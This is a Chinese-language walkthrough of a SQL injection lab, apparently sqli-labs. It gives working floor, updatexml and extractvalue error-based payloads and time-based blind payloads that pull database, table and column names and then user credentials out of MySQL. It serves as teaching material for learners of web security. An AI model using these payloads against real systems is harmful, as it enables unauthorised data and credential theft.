考查点：双查询报错注入
1.先判断注入类型
（1）首先看到要求，要求传一个ID参数，并且要求是数字型的；?id=1
（2）再输入？id=1'
显示报错，报错多了一个单引号
（3）再输入？id=1''
判断是字符型注入
2.对列数进行判断
（1）输入?id=1' order by 3 --+
（2）输入?id=1' order by 4 --+
判断是3列
3.因为页面正常的时候，均无输出部分，判断应该没有显示位，此时可尝试报错注入。
4.常用的报错语句模板：
（1）通过floor报错
①and (select 1 from (select count(),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
②其中payload为你要插入的SQL语句
③需要注意的是该语句将 输出长度限制在64个字符
（2）通过updatexml报错
①and updatexml(1,payload,1)
②同样盖语句对输出的字符长度也做了限制，其最长输出32位
③并且该语句对payload的返回类型也做了 限制
（3）通过extractvalue 报错
①and extractvalue(1,payload)
②输出字符有长度限制，最长32位
5.我们用floor进行注入
（1）爆库长：?id=1' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
这里发现页面提示我输出信息超过一行，但我们已经使用了group_concat函数，说明这里数据库名组成的字符串长度超过了64位，所以我们需要放弃group_concat函数，而使用limit 0,1来一个个输出
group_concat()函数的作用：将返回信息拼接成一行显示
limit 0,1 表示输出第一个数据。 0表示输出的起始位置，1表示跨度为1（即输出几个数据，1表示输出一个，2就表示输出两个）
（2）注当前的数据库名：?id=-1' union select 1,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x; --+
需要注意的是，此时数据库名并不是schema1
这个1是floor报错语句中输出的也一部分（无论输出什么结果，都会有这个1）
为了防止某些时候，我们误以为这个1也是我们查询结果的一部分，我建议大家使用一个；与它分开，语句如下：?id=-1' union select 1,count(*),concat(database(),';'floor(rand(0)*2))x from information_schema.tables group by x; --+
（3）爆注册表：?id=-1' union select 1,count(*),concat((select concat(table_name,';') from information_schema.tables where table_schema="security" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
（4）注某张表的字段，这里以users为例：?id=-1' union select 1,count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
（5）注字段的username值，这里以users为例：?id=-1' union select 1,count(*),concat((select concat (username,';') from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
（6）注字段的password，这里以users表为例：?id=-1' union select 1,count(*),concat((select concat(password,';') from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
5.时间延迟型手工注入：
时间延迟型手工注入，正确会延迟，错误没有延迟。id无所谓，又不看回显，可以通过浏览器的刷新提示观察延迟情况，但是id正确的时候的回显有利于观察。
payload=?id=1' and if(报错型payload核心部分，sleep(5),1) --+
（1）爆库长：?id=1' and if(length(database())=8,sleep(5),1) --+
明显延迟，数据库长度为8；
（2）爆库名：?id=1' and if(left(database(),1)='s',sleep(5),1) --+
明显延迟，数据库的第一个字符为s,接下来增加left(database(),字符长度)中的字符长度,等号右边依次爆破下一个字符，正确匹配时会延迟。最终爆破得到的left(database(),8)='security'
（3）爆表名：?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1) --+
通过坚持不懈的测试，终于在limit 3,1 爆破出user表名为users
（4）爆列名：?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='passsword' ,sleep(5),1)--+
首先尝试定向爆破，可提高手工注入速度，修改limit x,1中x查询password是否存在表中，lucky是limit3,1的时候查到了password列，同样的方法查询username有一个lucky，接下来爆破字段的值
（5）爆破值：
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
按照id排序，这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb，密码dumb，需要注意的是，mysql对大小写不敏感，所以你不知道是Dumb 还是dumb。
所以要在更多的在前人的基础上创造新的东西。这种重复性的工作，不要多做。sql注入，人生苦短，快用sqlmap。